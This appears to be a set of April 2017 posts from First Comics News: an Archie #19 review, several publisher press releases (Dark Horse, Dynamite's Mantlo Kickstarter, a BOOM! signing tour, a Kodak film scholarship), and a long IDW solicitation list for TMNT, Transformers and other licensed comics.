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RICH REVIEWS: Archie # 19

First Comics News - Fri, 04/21/2017 - 21:51

Title: Archie # 19
Publisher: Archie Comics
Story by: Mark Waid
Art by: Pete Woods
Lettering by: Jack Morelli
Cover by: Pete Woods
Variant Covers by: Emanuela Lupacchino, Greg Smallwood
Price: $ 3.99 US
Rating: 4 out of 5 stars
Website: www.archiecomics.com
Comments: The art tries to show emotions but it does not quite make it. The drawings are done to plain. It needs to be more focused.
Archie and Veronica are having problems from being apart. Now Mr. Lodge plans to take full advantage of it.
You will never guess who decides to help out Veronica against her dad. Also, this same person helps Archie to try to get back with Veronica. It is a surprise in one way and totally expected in another.
Jughead really shines this issue. This is what being a best friend is all about. The emotions are high and the story so well written.
Veronica, Archie, and Jughead together now this is a team supreme. You will find yourself almost cheering for them. Also waiting with bated breath as Veronica goes back to the banquet. She does the unexpected which is totally expected by now.
The happy couple is a happy couple. Archie and Veronica were meant for each other.
Now, what is going on with the Blossom twins?
The story is so striking and powerful.

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C2E2 2017: Mike Richardson and Paul Chadwick Pen a Wish out of Water

First Comics News - Fri, 04/21/2017 - 21:38

MILWAUKIE, Ore., (April 21, 2017)—Dark Horse Comics is proud to announce Best Wishes, an original graphic novel from Dark Horse founder and acclaimed writer Mike Richardson (Star Wars: Crimson Empire, 47 Ronin, Echoes) and Eisner Award–winning writer/artist Paul Chadwick (Concrete, The World Below, Gifts of the Night). Cowritten by Richardson and Chadwick, Best Wishes is Chadwick’s first comics work since 2013!

When two strangers cast coins into a Central Park fountain, their dreams and desires become magically intertwined. Cal wants fame and respect and Mary craves true love from her pro-quarterback boyfriend, but destiny weaves a tangled fabric. Best Wishes is a Woody Allen-esque tale of New York, meme madness, fame’s price, and secrets of the heart.

“Mike Richardson, arguably, is the Stan Lee of independent comics.”—All-Comic

“Chadwick’s gorgeously laid-out pages with their graceful, careful drawing serve to perfectly complement his thoughtful, contemplative writing.”—Stephen Frug

Best Wishes hits shelves November 8, 2017, and is available for preorder at Amazon, Things From Another World, DarkHorse.com, and more!

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First Comics News - Fri, 04/21/2017 - 21:36

Together with Butch Guice and the family of Bill Mantlo, we have officially launched a Kickstarter campaign to restore Swords of the Swashbucklers, a creator-owned pirate comic book series published by Marvel from 1984 to 1987, as a high-quality collected edition. Backer support will not only give the long-lost, groundbreaking series the complete and fully-remastered treatment that it deserves, but will preserve the prized work of Bill Mantlo, an industry great whose career was tragically derailed by a vehicular accident.

The Swords of the Swashbucklers Kickstarter campaign began on April 13th and will run through May 12th. The program met its first funding goal within 24-hours of launch and has subsequently surpassed its first stretch goal. With just over $24,000 raised in one week, we are close to reaching second stretch goal, and there is still much work to be done!

We’d like to take a moment and familiarize you with Bill Mantlo, an exceptional talent and inspiration in the comic book industry, and give context to why this Kickstarter is so important:

Bill Mantlo rose through the Marvel ranks in the 70s and 80s to become one of their Bullpen’s most dependable writers. He scripted over 500 Marvel comic books including Spectacular Spider-Man, The Incredible Hulk, Micronauts, and Rom: SpaceKnight. Known for his far-flung cosmic adventures and colorful personalities, Mantlo would be partly responsible for bringing to life Rocket Raccoon, the star of the 2014 blockbuster film, Guardians of the Galaxy and this coming May’s Guardians of the Galaxy Vol. 2. At the height of his career, Bill Mantlo was the victim of a hit-and-run accident in New York City. He suffered a closed-head brain injury that severely impaired his memory, mobility, and fine motor skills. For twenty years, he has resided in a rehabilitation center, where staff assist with nearly all of his physical activities.

If you’re unfamiliar with Mantlo’s creator-owned Swords of the Swashbucklers, it blends elements of Guardians of the Galaxy with Pirates of the Caribbean, and follows spirited teenager Domino Drake, a normal girl who stumbles upon an alien artifact, acquires uncanny power, and becomes a beacon for intergalactic trouble. With her tabby cat in tow, Domino joins the motley crew of the Starshadow, a spacefaring pirate ship captained by the charismatic and fearless Raader.

Upon successful completion of the Swords of the Swashbucklers Kickstarter, Dynamite will publish the series as a full-color, fully remastered volume over 400 pages in length, containing the complete story from the original graphic novel, plus the 12-issue maxi-series. Backers who support the Swords of the Swashbucklers Kickstarter have the opportunity to receive rewards, including t-shirts, digital editions, collectible prints, hardcover upgrades, and hand-drawn illustrations by Butch Guice.  More importantly, however; backers who support this Kickstarter will not only grant one of comics’ earliest creator-owned projects new life with the premium treatment it deserves, but they’ll also help create a new source of revenue that will assist in paying for Bill Mantlo’s much-needed health care.

If you’re on the fence, perhaps some final words from the acclaimed artist Butch Guice may sway you! Guice, who launched his comics career in the 1990s with Rom and Micronauts and became a perennial favorite at both Marvel and DC Comics, reflects on his time working with Mantlo on the series: “I had the enormous pleasure of working with Bill Mantlo at the beginning of my own career, and I know from personal experience the vibrant infectious enthusiasm and joy Bill had for Swords of the Swashbucklers, and the stories we told together. This project is a wonderful way to honor Bill Mantlo’s creative legacy. I hope fans, both old and new, support this effort, and I for one very much look forward to seeing the swashbuckling crew of the Starshadow fly once more.”

You can read more about the project, or get involved, by visiting:


From all of us at Dynamite, and on behalf of Butch Guice and the Mantlo family, we thank you for your support!

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First Comics News - Fri, 04/21/2017 - 21:33

Coheed and Cambria’s Claudio Sanchez is taking his book on the road

The Amory Wars: Good Apollo, I’m Burning Star IV #1 Main Cover by Rags Morales

Claudio Sanchez – Photo by Luigi Novi

Los Angeles, Calif. (April 21, 2017) – BOOM! Studios is excited to announce that the long-awaited next installment in The Amory Wars series, THE AMORY WARS: GOOD APOLLO, I’M BURNING STAR IV, is going on a signing tour. Series creator and Coheed and Cambria frontman Claudio Sanchez is no stranger to the road, and will be taking the time to stop at local comic book shops across the country as Coheed and Cambria embark on a new concert tour to revisit their third album, Good Apollo, I’m Burning Star IV: From Fear Through the Eyes of Madness. The new comic series follows the subject matter of the album.

The Amory Wars: Good Apollo, I’m Burning Star IV is the latest chapter in the The New York Times best-selling series, The Amory Wars. Claudio Sanchez and Chondra Echert (Translucid) team up with best-selling artist Rags Morales (Identity Crisis, Action Comics) to bring this sci-fi story to life. The 12-issue series launched on April 5, 2017 and is available monthly at comic book stores or digitally on your favorite device through ComiXology and the BOOM! Studios app. (To find your nearest comic book store, visit comicshoplocator.com.)

In this continuation of The Amory Wars saga, the evil Wilhelm Ryan remains in power. All those around Claudio Kilgannon are now convinced he is The Crowing, but is he? Ambellina believes she and The Crowing can save Heaven’s Fence rather than destroying it. But with Ryan and a new, even bigger threat looming—can they succeed?

The comic book shop signing tour kicked off on April 15 in Los Angeles, Calif. with Claudio Sanchez appearing at Golden Apple Comics, and stops next on April 22 in Salt Lake City, Utah at Black Cat Comics. Fans should note that these signings are limited to Claudio’s comic book work, with emphasis on The Amory Wars: Good Apollo, I’m Burning Star IV. Each shop on the tour will have copies available for purchase.

The comic book shop tour stops include:

4/22/17, 2-3pm
Black Cat Comics
Salt Lake City, UT
2265 Highland Drive
Salt Lake City, UT 84106
(801) 461-4228

4/27/17, 2-3pm
WatchTower Comics & Cards
12303 Westheimer, Suite J
Houston, TX 77077
(832) 617-8846

5/10/17, 2-3pm
Amalgam Comics & Coffeehouse
2578 Frankford Ave, 1st Fl South
Philadelphia, PA 19125
(215) 427-3300

5/13/17, 2-3pm
Source Comics & Games
2057 Snelling Ave N
Roseville, MN 55113
(651) 645-0386

5/19/17, 2-3pm
Graham Crackers (Lakeview Location)
3162 N Broadway
Chicago, IL 60657
(773) 665-2010

Date and time to be announced!
Forbidden Planet (London Megastore)
179 Shaftesbury Ave.
London WC2H 8JR, UK
020 7420 3666

For information on the ongoing Coheed and Cambria concert tour and ticket information, visit www.coheedandcambria.com.

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2017 KODAK Student Scholarship Program to Recognize Emerging Global Talent in Film

First Comics News - Fri, 04/21/2017 - 21:30

2017 KODAK Student Scholarship Program to

Recognize Emerging Global Talent in Film

Submissions Due May 18th for 26th Annual Competition

To be Judged by World-Renowned Cinematographer John Bailey


ROCHESTER, N.Y. — April 21, 2016 — As part of the Eastman Kodak Company’s (NYSE: KODK) long-held commitment to showcasing and supporting the burgeoning talents of the next generation of filmmakers, the company is sponsoring its 26th annual KODAK Student Scholarship Program.


This international program — held in conjunction with the University Film & Video Foundation (UFVF), the 501c(3) arm of the University Film & Video Association (UFVA), promotes worldwide education, research, innovation and charitable activities in the arts and sciences of moving images and aural communication — is designed to encourage and foster up-and-coming storytellers by honoring students who demonstrate exemplary skills and creativity in the art of motion pictures.


Kodak has long held a deep commitment to supporting future filmmakers and encouraging excellence in the field of motion picture education through many initiatives and 2017 marks 26th anniversary of this scholarship program.  The company’s ongoing efforts encompass a range of opportunities, which students and educators can use to enrich their knowledge of the art and craft of filmmaking, including educational materials and discounts; and sponsorship of film festivals, awards, seminars and student showcases.


Commented Steve Bellamy, President of Motion Picture and Entertainment, Consumer and Film Division, Eastman Kodak Company, “We are excited to join University Film & Video Foundation once again and provide the tools and funding for motion picture artists to create their art and tell their stories. It has been a banner year for celluloid. Movies shot on film garnering 9 of the 14 Golden Globes, 29 Oscar nominations, 36 BAFTA’s, the top 4 awards at Cannes and film even swept the top awards at the Grammys. Yet what makes us even happier at Kodak is helping young digital file-makers become real FILMmakers who recognize the benefits, the esthetics, the cost effectiveness and the value of the film.  We look forward to having more great young artists join the ranks of Martin Scorsese, Christopher Nolan, Steven Spielberg, Quentin Tarantino, Patty Jenkins, PT Anderson, JJ Abrams, Judd Apatow, JT Mollner, Julius Onah, Ondi Timoner, and so many more great motion picture directors who understand the value of real film.”


Added Norman Hollyn, Professor at USC’s School of Cinematic Arts and president of the UFVF, “The University Film & Video Foundation has long been an active supporter of the work of the University Film & Video Association in bringing resources to its university and college members for the teaching of the cinematic media—whether it be through narrative, documentary, new media, games or a host of other traditional and emerging forms. This partnership with Kodak is a perfect example of that critical support. I am proud of the Kodak partnership and thrilled to work with them again this year, as we make it easier for students to learn and to succeed at telling stories in today’s world that reflect who they are.”


Leading the judging panel once again is world-renowned cinematographer, John Bailey, ASC.  Bailey — the recipient of a variety of prestigious honors, including the 2015 Lifetime Achievement Award from the American Society of Cinematographers (ASC) — has helmed the shoots of a long list of Hollywood’s biggest hits and most-iconic films, including A Walk in the Woods, The Way Way Back, Big Miracle, He’s Just Not That Into You, The Producers, Must Love Dogs, The Sisterhood of the Traveling Pants, How to Lose a Guy in 10 Days, Divine Secrets of the Ya-Ya Sisterhood, As Good as it Gets, Nobody’s Fool, Groundhog Day, The Accidental Tourist, The Pope of Greenwich Village, The Big Chill, Ordinary People and American Gigolo, among many others. He also pens the ASC blog, John’s Bailiwick, which addresses a range of topics on the art of filmmaking.


The competition is open to university or college students of film or film production at the undergraduate or graduate levels in an accredited degree. Grants include three KODAK Student Scholarship Awards; and two KODAK Student Cinematography Scholarship Awards, one of which, the KODAK Vision Award, will recognize an outstanding project of which at least 50 percent was shot on film.


Winners will be announced in early August 2017, at the 71st annual UFVA Conference, hosted by California State University, Los Angeles.


KODAK Student Scholarship Awards:


  • Gold Award — $5,000 Tuition Scholarship Award & $5,000 KODAK Motion Picture Product Grant.


  • Silver Award — $3,000 Tuition Scholarship Award & $3,000 KODAK Motion Picture Product Grant.


  • Bronze Award — $2,000 Tuition Scholarship Award & $3,000 KODAK Motion Picture Product Grant.


KODAK Student Cinematography Scholarship Awards:


  • KODAK Vision Award — $3,000 Tuition Scholarship Award & $5,000 KODAK Motion Picture Product Grant.
  • KODAK Vision Honorary Award — $1,000 Scholarship Tuition Award & $500 KODAK Motion Picture Product Grant (to qualify for the Vision Award and Vision Honorary Award, project must be shot on at least 50% film).


  • First Place — $3,000 Tuition Scholarship Award & $5,000 KODAK Motion Picture Product Grant.


Rules & Regulations:


Accredited schools around the world may nominate up to two students for consideration for the KODAK Student Scholarship Awards and one cinematography student for the KODAK Student Cinematography Scholarship Awards. To qualify, nominated students must be registered through the fall 2017 term.


Deadline is Thursday, May 18th, 2017 at 11:59 p.m. EST. All submissions are to be made online and must include Vimeo or YouTube links to samples of the student’s work.  All entries are assessed on three criteria: Sample reels, faculty recommendations and academic achievement.  Winners will be announced early August 2017.


For full rules & regulations and to make submissions, visit:  www.kodak.com/go/scholarship

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First Comics News - Fri, 04/21/2017 - 21:26
TMNT/Usagi Yojimbo—Cover A: Stan Sakai—GEM OF THE MONTH
  • Stan Sakai (w & a & c)
  • The TMNT are teleported to a world of talking animals—the world of Usagi Yojimbo! When the samarai rabbit embarks on a quest to save Japan and the deadly Jei blocks his path, a Turtle team-up may be the only chance for survival!
  • FC • 48 pages • $7.99
TMNT/Usagi Yojimbo—Cover B: Sergio Aragonés
  • Stan Sakai (w & a) • Sergio Aragonés (c)
  • FC • 48 pages • $7.99
  • The crossover YOU demanded!
  • Written and illustrated by Usagi Yojimbo creator and comics legend Stan Sakai!
  • Variant cover by David Petersen!
TMNT/Usagi Yojimbo—Hardcover Edition
  • Stan Sakai (w & a & c)
  • The TMNT are teleported to a world of talking animals—the world of Usagi Yojimbo! When the samarai rabbit embarks on a quest to save Japan and the deadly Jei blocks his path, a Turtle team-up may be the only chance for survival!
  • FC • HC • 72 pages • $14.99
  • Special collector’s hardcover edition!
  • Packed with extras like layouts, pin-ups, character studies and more!
TMNT Amazing Adventures: Robotanimals! #2—Cover A: Chad Thomas
  • Caleb Goellner (w) • Chad Thomas (a & c)
  • Baxter Stockman seeks to turn all mutants into robots… that he can control, of course! The TMNT must work together like never before if they are to overcome the Robotanimals, and Baxter’s next surprise!
  • FC • 32 pages • $3.99
TMNT Amazing Adventures: Robotanimals! #2—Cover B: Billy Martin
  • Caleb Goellner (w) • Chad Thomas (a) • Billy Martin (c)
  • FC • 32 pages • $3.99
  • Mecha-danger and mega laughs!
  • Variant cover by Ryan Jampole!
Teenage Mutant Ninja Turtles #72—Cover A: Dave Wachter
  • Tom Waltz, Kevin Eastman (w) • Dave Wachter (a & c)
  • “Pantheon Family Reunion,” Part 2 of 2. A group of powerful and mysterious beings who decide the course of history can’t seem to stop arguing with each other. What happens when they realize that mutants may threaten their world order?
  • FC • 32 pages • $3.99
Teenage Mutant Ninja Turtles #72—Cover B: Tom Whalen
  • Tom Waltz, Kevin Eastman (w) • Dave Wachter (a) • Tom Whalen (c)
  • FC • 32 pages • $3.99
  • New allies and enemies emerge!
  • Only 3 more issues until the landmark 75th issue!
  • Variant cover by Kevin Eastman!
Teenage Mutant Ninja Turtles Universe #12—Cover A: Freddie Williams II
  • Erik Burnham (w) • Sophie Campbell (a) • Freddie Williams II (c)
  • “Karai’s Path,” part 1 of 4. Karai has always embodied the Foot Clan. With the Clan under the control of Splinter, what path will Karai take during her travels in Japan? Danger and intrigue await Karai, Koya, and Bludgeon!
  • FC • 32 pages • $4.99
Teenage Mutant Ninja Turtles Universe #12—Cover B: Tom Whalen
  • Erik Burnham (w) • Sophie Campbell (a) • Tom Whalen (c)
  • FC • 32 pages • $4.99
  • An exciting new story arc that will have serious ramifications for the TMNT!
  • From TMNT fan-favorite creators Erik Burnham and Sophie Campbell!
  • Don’t miss the Shredder cover by Mondo artist Tom Whalen, part of our Tom Whalen Cover Month!
  • Variant cover by Sophie Campbell!
Rom Vs. Transformers: Shining Armor #1—Cover A: Alex Milne—SPOTLIGHT
  • John Barber & Christos Gage (w) • Alex Milne (a & c)
  • Meet the universe’s only Cybertronian Solstar Knight! Hundreds of years ago, Rom discovered Stardrive, the sole survivor of a doomed space probe. Stardrive committed herself to protecting the galaxy from the Dire Wraiths… but when the Decepticon called Starscream makes a deadly deal, Rom and the Transformers are forced into a collision course… with Stardrive caught between two worlds!
  • FC • 32 pages • $3.99
Rom Vs. Transformers: Shining Armor #1—Cover B: Nick Roche
  • John Barber & Christos Gage (w) • Alex Milne (a) • Nick Roche (c)
  • FC • 32 pages • $3.99
Rom Vs. Transformers: Shining Armor #1—Cover C: Paolo Villanelli
  • John Barber & Christos Gage (w) • Alex Milne (a) • Paolo Villanelli (c)
  • FC • 32 pages • $3.99
  • An all-star lineup of Christos Gage (Rom), John Barber (Optimus Prime), and Alex Milne (More Than Meets the Eye) tell the never-before-revealed secret history of Rom and the Transformers!
  • Introducing a major new character!
  • Variant cover by David Lafuente!
Rom #13—Cover A: David Lafuente
  • Chris Ryall & Christos Gage (w) • David Messina, Guy Dorian & Sal Buscema (a) • David Lafuente (c)
  • “Long Roads to Ruin,” part 3. The penultimate issue of Rom’s opening salvo against the Wraiths! But whose side are Orphion and Livia on?
  • FC • 32 pages • $3.99
Rom #13—Cover B: Chris Panda
  • Chris Ryall & Christos Gage (w) • David Messina, Guy Dorian & Sal Buscema (a) • Chris Panda (c)
  • FC • 32 pages • $3.99
Rom #13—Cover C: Richard Wentworth
  • Chris Ryall & Christos Gage (w) • David Messina, Guy Dorian & Sal Buscema (a) • Richard Wentworth (c)
  • FC • 32 pages • $3.99

Rom #13—Cover D: Raffaele Ienco

  • Chris Ryall & Christos Gage (w) • David Messina, Guy Dorian & Sal Buscema (a) • Tom Whalen (c)
  • FC • 32 pages • $3.99
  • Don’t miss the Rom cover by Mondo artist Tom Whalen, part of our Tom Whalen Cover Month!
  • Variant cover by Raffaele Ienco!
Hasbro Presents: Revolution Complete
  • John Barber & Cullen Bunn & Various (w) • Fico Ossio & Various (a) • James Biggie (c)
  • THE REVOLUTION HAS BEGUN! Celebrating more than a decade of stories by IDW and HASBRO, this unprecedented event draws everything together—and leaves nothing standing. The REVOLUTION is here—TAKE A STAND!
  • Collects Revolution issues #0–5 as well as all of the Revolution One-Shots, including Transformers, G.I. JOE, Action Man, Rom, Micronauts, and M.A.S.K., with an expanded cover gallery.
  • HC • FC • $49.99 • 328 pages • 7” x 11” • ISBN: 978-1-63140-965-3
  • Advance solicited for September release!
  • The complete Revolution saga in one oversized hardcover!
Hasbro Heroes Sourcebook #3 (of 3)— Cover A: Fico Ossio
  • John Barber & Various (w) • Robert Atkins & Various (a) • Fico Ossio (c)
  • If you’re new to the Hasbro Universe or a long-time fan, this book is for you! Featuring a veritable TON of bios on your favorite characters, from P to Z, plus papercraft projects, a map of the Heliopolis, the Micronauts’ ship, and a fantastic story leading in to the next huge Hasbro event!
  • FC • 48 pages • $4.99
Hasbro Heroes Sourcebook #3 (of 3)— Cover B: Sam Lotfi
  • John Barber & Various (w) • Robert Atkins & Various (a) • Sam Lotfi (c)
  • FC • 48 pages • $4.99
  • Written by today’s top Hasbro U talent including John Barber, Aubrey Sitterson, Chris Ryall, David Mariotte, Brandon Easton, Cullen Bunn, Mairghread Scott, and Jimmy Johnston.
  • Art by some of today’s top Hasbro Universe artists including Robert Atkins, Guido Guidi, Simon Gough, Marcelo Ferreira, Fico Ossio, and Jack Lawrence!
  • Exclusive paper-crafts, posters and stories in every issue!
  • Variant cover by Marcelo Borstelmann!
Micronauts: Wrath of Karza #4— Cover A: Alex Ronald
  • Cullen Bunn & Jimmy Johnston (w) • Andrew Griffith (a) • Alex Ronald (c)
  • The threat of Karza enerchanged with Micronus Prime has the Earth prepared to bow down before him. Oz and the Micronauts are undaunted though. With the help of the Transformers, Oz thinks they can win. What will become of Acroyear? And what does the arrival of a Time Traveler mean?
  • FC • 32 pages • $3.99
Micronauts: Wrath of Karza #4— Cover B: Tom Whalen
  • Cullen Bunn & Jimmy Johnston (w) • Andrew Griffith (a) • Tom Whalen (c)
  • FC • 32 pages • $3.99
  • Don’t miss the Baron Karza cover by Mondo artist Tom Whalen, part of our Tom Whalen Cover Month!
  • Variant cover by Andrew Griffith!
M.A.S.K.: Mobile Armored Strike Kommand #9— Cover A: Ryan Brown
  • Brandon Easton (w) • Igor Lima (a) • Ryan Brown (c)
  • In the penultimate chapter of M.A.S.K., Matt Trakker and his allies battle massive mutated creatures in the bowels of the Earth as an internal power struggle threatens to tear the team apart. The secret infiltrator continues to sow distrust, if M.A.S.K. survives the monsters, can they survive each other?
  • FC • 32 pages • $3.99
M.A.S.K.: Mobile Armored Strike Kommand #9— Cover B: Tom Whalen
  • Brandon Easton (w) • Igor Lima (a) • Tom Whalen (c)
  • FC • 32 pages • $3.99
M.A.S.K.: Mobile Armored Strike Kommand #9— Cover C: Aurelio Mazzara
  • Brandon Easton (w) • Igor Lima (a) • Aurelio Mazzara (c)
  • FC • 32 pages • $3.99
  • Don’t miss the Matt Trakker cover by Mondo artist Tom Whalen, part of our Tom Whalen Cover Month!
  • Variant cover by Marcelo Perez Dalannays!
  • John Barber (w) • Fico Ossio (a) • Igor Lima (c)
  • OPTIMUS PRIME VS. BARON IRONBLOOD! The final mystery is revealed as Baron Ironblood reveals his true identity! Only by teaming with Transformers leader Optimus Prime do the Revolutionaries have a chance to save Earth—and the whole Hasbro universe! The senses-shattering conclusion to Revolutionaries leads directly into next month’s massive crossover event!
  • FC • 48 pages • $4.99
REVOLUTIONARIES #8—Cover B: Tone Rodriguez
  • John Barber (w) • Fico Ossio (a) • Tone Rodriguez (c)
  • FC • 48 pages • $4.99
REVOLUTIONARIES #8—Cover C: Santipérez
  • John Barber (w) • Fico Ossio (a) • Santipérez (c)
  • FC • 48 pages • $4.99
  • Special, over-sized series finale! Everything has been leading up to the earth shattering revelations found in this issue!
  • With major repercussions, the countdown to the next major event starts here!
  • Variant cover by Pierre Droal!
Optimus Prime #9—Cover A: Kei Zama
  • John Barber (w) • Kei Zama (a & c)
  • THE LIFE OF SIDESWIPE! A Junkion machine finally gives long-injured Sideswipe a new lease on life! But when his brother goes missing, Sideswipe and Arcee return to Cybertron—and nothing will be the same between them ever again.
  • FC • 32 pages • $3.99
Optimus Prime #9—Cover B: Casey W. Coller
  • John Barber (w) • Kei Zama (a) • Casey W. Coller (c)
  • FC • 32 pages • $3.99
Optimus Prime #9—Cover C: Tom Whalen
  • John Barber (w) • Kei Zama (a) • Tom Whalen (c)
  • FC • 32 pages • $3.99
  • Don’t miss the Optimus Prime cover by Mondo artist Tom Whalen, part of our Tom Whalen Cover Month!
  • Variant cover by ZEROB!
Transformers: Lost Light #8—Cover A: Jack Lawrence
  • James Roberts (w) • Jack Lawrence (a & c)
  • THE HUNT IS ON! Ever lost something and spent forever looking for it? Try visiting Troja Major, the lost property capital of the universe. Just bear in mind that it’s better known by another name: the Howling Town. And the Autobots are about to find out why.
  • FC • 32 pages • $3.99
Transformers: Lost Light #8—Cover B: Nick Roche
  • James Roberts (w) • Jack Lawrence (a) • Nick Roche (c)
  • FC • 32 pages • $3.99
Transformers: Lost Light #8—Cover C: Tom Whalen
  • James Roberts (w) • Jack Lawrence (a) • Tom Whalen (c)
  • FC • 32 pages • $3.99
  • Don’t miss the Megatron cover by Mondo artist Tom Whalen, part of our Tom Whalen Cover Month!
  • Variant cover by Alex Milne!
Transformers: Till All Are One #12—Cover A: Sara Pitre-Durocher
  • Mairghread Scott (w) • Sara Pitre-Durocher (a & c)
  • Starscream makes his most desperate move yet in order to protect himself from Elita One’s rising power. But for once the master of manipulation’s only choice is to make himself helpless to another. Good thing no one’s got a grudge against Starscream, right?
  • FC • 32 pages • $3.99
Transformers: Till All Are One #12—Cover B : Priscilla Tramontano
  • Mairghread Scott (w) • Sara Pitre-Durocher (a) • Priscilla Tramontano (c)
  • FC • 32 pages • $3.99
  • Leading into next month’s major crossover event!
  • Variant cover by ZEROB!
Transformers: The IDW Collection Phase Two, Vol. 6
  • John Barber, James Roberts, Mairghread Scott (w) • Phil Jimenez, Andrew Griffith, Sarah Stone, Brendan Cahill, Atilio Rojo, James Raiz, Livio Ramondelli, Nick Roche, Robert Gill, Alex Milne (a) • Guido Guidi (c)
  • Presenting IDW’s Transformers comics in preferred reading order! The end of everything! Shockwave makes a move millions of years in the planning—an ultimate strategy to remake Cybertron and destroy both the Autobots and Decepticons! Only the combined forces of Optimus Prime, Bumblebee, and Rodimus can save their world—but billions of miles and eons of war leave our heroes divided, in “Dark Cybertron.” Plus, Windblade takes the planet by storm—but where did she come from—and what does her secret mean for the future of the Transformers?
  • Collects Dark Cybertron #1 and Finale, More Than Meets The Eye issues #23–27, Robots In Disguise issues #23–27, and Windblade issues #1–4.
  • HC • FC • $49.99 • 388 pages • 7” x 11” • ISBN: 978-1-68405-085-7
  • Advance Solicited for September release!
  • The best way to catch up on the Transformers universe!
G.I. JOE #8— Cover A: Aaron Conley
  • Aubrey Sitterson (w) • Giannis Milonogiannis (a) • Aaron Conley (c)
  • It’s the battle you’ve been waiting for! No, not G.I. Joe versus Cobra… it’s Snake Eyes versus Quick Kick! When Snake Eyes steps out of bounds, only Quick Kick stands in the way of the ninja commando. Who is the team’s true martial arts champion? Well, you’ve gotta read to find out!
  • FC • 32 pages • $3.99
G.I. JOE #8— Cover B: Giannis Milonogiannis
  • Aubrey Sitterson (w) • Giannis Milonogiannis (a & c)
  • FC • 32 pages • $3.99
G.I. JOE #8— Cover C: Tom Whalen
  • Aubrey Sitterson (w) • Giannis Milonogiannis (a) • Tom Whalen (c)
  • FC • 32 pages • $3.99
  • Don’t miss the Snake Eyes cover by Mondo artist Tom Whalen, part of our Tom Whalen Cover Month!
  • Variant cover by Santipérez!
G.I. JOE: A Real American Hero #242— Cover A: S L Gallant
  • Larry Hama (w) • S L Gallant (a & c)
  • Just when things seem back to normal for the Joes—well, as normal as things can get for our heroes—nefarious forces once again plot their doom! Who will step up this time to face off against the latest threat to justice, freedom, and liberty?
  • FC • 32 pages • $3.99
G.I. JOE: A Real American Hero #242— Cover B: John Royle
  • Larry Hama (w) • S L Gallant (a) • John Royle (c)
  • FC • 32 pages • $3.99
Clue #2 (of 6)— Cover A: Derek Charm
  • Paul Allor (w) • Nelson Daniel (a) • Derek Charm (c)
  • After multiple murders rock the mansion, our earnest investigators discover a mysterious room that may hold all the answers. Meanwhile, Upton works to make all the guests happy—and keep them alive!
  • FC • 32 pages • $3.99
Clue #2 (of 6)— Cover B: Nelson Daniel
  • Paul Allor (w) • Nelson Daniel (a & c)
  • FC • 32 pages • $3.99
Clue #2 (of 6)— Cover C: Nick Roche
  • Paul Allor (w) • Nelson Daniel (a) • Nick Roche (c)
  • FC • 32 pages • $3.99
Dungeons & Dragons: Frost Giant’s Fury TPB—SPOTLIGHT
  • Jim Zub (w) • Netho Diaz (a) • Max Dunbar (c)
  • Mighty giants stir across the land and before their crushing might, nothing is safe. Badly injured after their encounters in the Demiplane of Dread and now lost in the frozen northern reaches of the Forgotten Realms, the Baldur’s Gate heroes will be tested like never before. Roll for initiative, a new Dungeons & Dragons adventure begins!
  • TPB • FC • $19.99 • 120 pages • ISBN: 978-1-63140-928-8
  • Advance solicited for August release!
  • “The most recent example of D&D’s influence comes by way of the Netflix original series Stranger Things.” –Geek and Sundry
Ghostbusters 101 #5 (of 6)— Cover A: Dan Schoening
  • Erik Burnham (w) • Dan Schoening (a & c)
  • The Ghostbusters have found out what’s bringing their dimensions together—and for once, it doesn’t have anything to do with a sinister beam of light heading into the sky! Tech nerds from two dimensions will need to put their heads together and build something that’ll solve the problem (and at least half of them hope any solution includes a satisfying explosion!).
  • FC • 32 pages • $3.99
Ghostbusters 101 #5 (of 6)— Cover B: Tim Lattie
  • Erik Burnham (w) • Dan Schoening (a) • Tim Lattie (c)
  • FC • 32 pages • $3.99
Ghostbusters: Interdimensional Cross-Rip—Certified Cool
  • Erik Burnham (w) • Dan Schoening (a & c)
  • When a confrontation with the vengeful elder god Proteus goes awry, Peter, Ray, Winston, and Egon will meet… The Real Ghostbusters! But even the combined might of eight ’Busters may not be enough to stop Proteus from getting his revenge. Plus, the guys pack their bags and head international! After a bust at the United Nations the boys, and girls, in gray are engaged to investigate some Old World hauntings, where they begin to unravel a mystery that sends them around the globe.
  • Collects the 2015 Annual, the Get Real mini-series, and Ghostbusters International #1–11.
  • HC • FC • $49.99 • 380 pages • 7” x 11” • ISBN: 978-1-63140-960-8
  • Advance solicited for September release!
  • New introduction by director Ivan Reitman.
Back to the Future #22— Cover A: Marcelo Ferreira—SPOTLIGHT
  • Bob Gale & John Barber (w) • Marcelo Ferreira (a & c)
  • “TIME SERVED, PART 1!” On a mission to uncover the secrets that sent Jailbird Joey Baines to prison, Marty is trapped in 1972—and the DeLorean has vanished! Things go from bad to worse when Biff Tannen teams with 18-year-old Joey to break into a house… and they drag Marty along! Their target: Doc Brown’s mom!!!
  • FC • 32 pages • $3.99
Back to the Future #22— Cover B: Tom Whalen
  • Bob Gale & John Barber (w) • Marcelo Ferreira (a) • Tom Whalen (c)
  • FC • 32 pages • $3.99
  • The bombastic beginning of the final arc for this first volume of BTTF ongoing stories, concluding with a special double-sized issue #25!
  • Don’t miss the Doc Brown cover by Mondo artist Tom Whalen, part of our Tom Whalen Cover Month!
Star Trek: Boldly Go #10—Cover A: George Caltsoudas
  • Mike Johnson (w) • Tony Shasteen (a) • George Caltsoudas (c)
  • Scotty returns to the Yorktown base to check in on construction of the new Enterprise… only to find that building the flagship comes with unexpected perils!
  • FC • 32 pages • $3.99
Star Trek: Boldly Go #10—Cover B: Jason Badower
  • Mike Johnson (w) • Tony Shasteen (a) • Jason Badower (c)
  • FC • 32 pages • $3.99
  • Variant cover by Cryssy Cheung!
Star Trek: New Visions, Vol. 5
  • John Byrne (w & a & c)
  • All-new, feature-length tales set in the Star Trek: The Original Series universe, done in a unique, one-of-a-kind photomontage style. This volume collects the stories “Swarm,” “The Hidden Face,” “Sam,” and the never-collected-before short story “More the Serpent Than the Dove.”
  • Collects issues #12–14.
  • TPB • FC • $17.99 • 128 pages • ISBN: 978-1-68405-088-8
  • Advance solicited for August release!
  • “Byrne’s writing is strong, as always, and his story line is courageous in using Star Trek to address social issues often viewed as a ‘third rail’ in other forms of discourse.” –ComicWow.TV
Star Trek/Green Lantern, Vol. 2: Stranger Worlds—SPOTLIGHT
  • Mike Johnson (w) • Angel Hernandez (a & c)
  • The galaxy-spanning crossover epic continues in this sequel to the blockbuster STAR TREK/GREEN LANTERN: THE SPECTRUM WAR! Captain Kirk and Hal Jordan lead the combined might of Starfleet and the Lantern Corps on an all-new adventure against new foes!
  • HC • FC • $24.99 • 152 pages • ISBN: 978-1-63140-966-0
  • Advance solicited for September release!
